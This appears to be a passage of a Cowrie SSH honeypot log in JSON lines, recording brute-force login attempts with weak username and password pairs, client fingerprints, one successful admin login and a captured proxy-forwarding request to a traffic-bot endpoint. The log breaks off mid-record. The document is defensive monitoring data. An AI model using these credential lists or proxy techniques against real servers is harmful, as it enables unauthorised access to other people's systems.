{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:01.607221Z","src_ip":"45.153.34.195","session":"00c5ef39df3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":53012,"dst_ip":"10.17.0.5","dst_port":22,"session":"be69cdb891c4","protocol":"ssh","message":"New connection: 45.153.34.195:53012 (10.17.0.5:22) [session: be69cdb891c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:02.802743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:02.987734Z","src_ip":"45.153.34.195","session":"be69cdb891c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:02.993897Z","src_ip":"45.153.34.195","session":"be69cdb891c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pass1234567","message":"login attempt [ubuntu/pass1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:03.370964Z","src_ip":"91.92.40.36","session":"bf03804c75a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"12345","message":"login attempt [bob/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:03.553496Z","src_ip":"45.153.34.195","session":"be69cdb891c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":47282,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f8185e3a8c4","protocol":"ssh","message":"New connection: 91.92.40.36:47282 (159.203.135.109:22) [session: 5f8185e3a8c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:03.722934Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:04.707873Z","src_ip":"45.153.34.195","session":"be69cdb891c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"654321","message":"login attempt [git/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:05.611981Z","src_ip":"91.92.40.36","session":"74180bcf9fc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":53028,"dst_ip":"10.17.0.5","dst_port":22,"session":"513fefacc340","protocol":"ssh","message":"New connection: 45.153.34.195:53028 (10.17.0.5:22) [session: 513fefacc340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:05.809996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:05.818170Z","src_ip":"45.153.34.195","session":"513fefacc340","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:05.910377Z","src_ip":"45.153.34.195","session":"513fefacc340","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"p@ssw0rd","message":"login attempt [test/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:06.407003Z","src_ip":"45.153.34.195","session":"513fefacc340","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:07.491117Z","src_ip":"45.153.34.195","session":"513fefacc340","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:07.496604Z","src_ip":"91.92.40.36","session":"5f8185e3a8c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:07.500823Z","src_ip":"91.92.40.36","session":"5f8185e3a8c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.5","message":"Connection lost after 34.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:08.419174Z","src_ip":"91.92.40.36","session":"bf03804c75a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":53040,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa018ec4f168","protocol":"ssh","message":"New connection: 45.153.34.195:53040 (10.17.0.5:22) [session: aa018ec4f168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:08.844658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:08.851273Z","src_ip":"45.153.34.195","session":"aa018ec4f168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:08.946497Z","src_ip":"45.153.34.195","session":"aa018ec4f168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser","message":"login attempt [testuser/testuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:09.394542Z","src_ip":"45.153.34.195","session":"aa018ec4f168","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu!@#","message":"login attempt [ubuntu/ubuntu!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:09.443694Z","src_ip":"91.92.40.36","session":"b7042ab4ee9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.5","message":"Connection lost after 30.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:09.932905Z","src_ip":"91.92.40.36","session":"74180bcf9fc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12932,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a377645f61b","protocol":"ssh","message":"New connection: 91.92.40.36:12932 (159.203.135.109:22) [session: 3a377645f61b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:10.256402Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:10.476751Z","src_ip":"45.153.34.195","session":"aa018ec4f168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":53048,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1000cba7f09","protocol":"ssh","message":"New connection: 45.153.34.195:53048 (10.17.0.5:22) [session: e1000cba7f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:11.744271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:11.749063Z","src_ip":"45.153.34.195","session":"e1000cba7f09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":55198,"dst_ip":"10.17.0.5","dst_port":22,"session":"2991c2db2dbf","protocol":"ssh","message":"New connection: 123.27.168.40:55198 (10.17.0.5:22) [session: 2991c2db2dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:11.777458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:11.782547Z","src_ip":"123.27.168.40","session":"2991c2db2dbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:11.838583Z","src_ip":"45.153.34.195","session":"e1000cba7f09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:12.034384Z","src_ip":"123.27.168.40","session":"2991c2db2dbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"exploit","password":"arbus8","message":"login attempt [exploit/arbus8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:12.159496Z","src_ip":"91.92.40.36","session":"65d0d1674f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"12345678","message":"login attempt [anna/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:12.189703Z","src_ip":"45.153.34.195","session":"e1000cba7f09","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:12.524831Z","src_ip":"91.92.40.36","session":"3a377645f61b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:12.528326Z","src_ip":"91.92.40.36","session":"3a377645f61b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:13.179330Z","src_ip":"123.27.168.40","session":"2991c2db2dbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:13.274454Z","src_ip":"45.153.34.195","session":"e1000cba7f09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.8","message":"Connection lost after 27.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:13.564672Z","src_ip":"91.92.40.36","session":"b7042ab4ee9a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:13.575779Z","session":"2991c2db2dbf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:01:14.135288Z","src_ip":"123.27.168.40","session":"2991c2db2dbf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.3; G630-U10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=X1dYY0RlX155fkB%2BR0NqMg%3D%3DeiIPs1xqzxVE7TpjRiAY2AqmbV76dn6nQU1jrWNk%2Bw8aUMBIPxpXrj2JSqZ%2BWhZK4qdBcNXQ1TLDmjUdJIdSuOOqWuzfwqrjlB0ZZ%2FxYhhLtQYFulDLjH5T%2FJlQ2WQZxTaL5xpCLodZeJowfwNU2bJBtaxSQBv%2BB70uTumGP%2FNS%2BLHuE596pVjqe0DqLWbcHcrwU%2B2EfkvCkiIHPgbyXuUmHGZEgRtCzjiKpXN4Qs0JvBR5N4qBiasE3NKLP5bq00U6tHZvJ8WLoEjPvD%2Bqd2qGYuk329nPaZlGpi18b1shEMD0h6Rk%2FShmF%2BnkxBO5sAsnCsziMa5C5tBVze6vGKrV1TgiL0Esss3MVbUztP1D9AsJMzPJPKRbgaqM8n%2Bipbo9inDT5WgsA3cTprFsJgBQjONw7Tve8ni5BEwdsLm5IeAeksESZALFtLs3lnDNNsQD8mfNgEyvGzTCrrAmiuu3r%2BLu2V6RT5zCG1cbNkjkaYlKWKUUUlHgc5JMzytQ7mW23z4lE5guoUscsch6nfoqzIPlmYXdCEvFC%2F9ItP62AZ2VwLTo2iA23kfXP4uGLLlbuzSLVcR4AtUkZoHRi6FrKZRYMga%2BflNUsP7EwA6EEtegT4742xF3AY7ER4erwEPnJpbhmEns0QZNDTNKykd5zsOsOq0HKiB0Vh%2Bp3ubbiXCVTX01kzF4ljYS05g8WNsZS2ntbK8%2Fju%2BrNWfYTR6hF9MIMxkPOR1nXblEI4plltOO9IYRqZPt%2FNqegUmTiNytFjDdWpvEKh8ds1RN4jQT8f3xxkl7AAS%2BWWTx7oH8008bYsNw22h45yPYbWcJij3PRudDPF%2FvMxujlJ2S2SZR87%2ByZlSpxpGa7lu7sxTwq75Lx34%2F0tvvhVsVUc1wi4tcLr9qIIQqie5uknQXMEKQnfjncPKQN7%2FrfZJ4u9%2F51BrXMsJa6%2BaZ%2FrSgwBUhoT1y3Nj%2B38h8016A6pkVi76QtMv8pC02K1O%2FScpCQDwMedutId8nY2TRDrLJWo3EJNdt9HA2cUX%2B65T6OPRkjaT2t7f6mcF1FTKyjY%2FAyj0s%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1164\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: 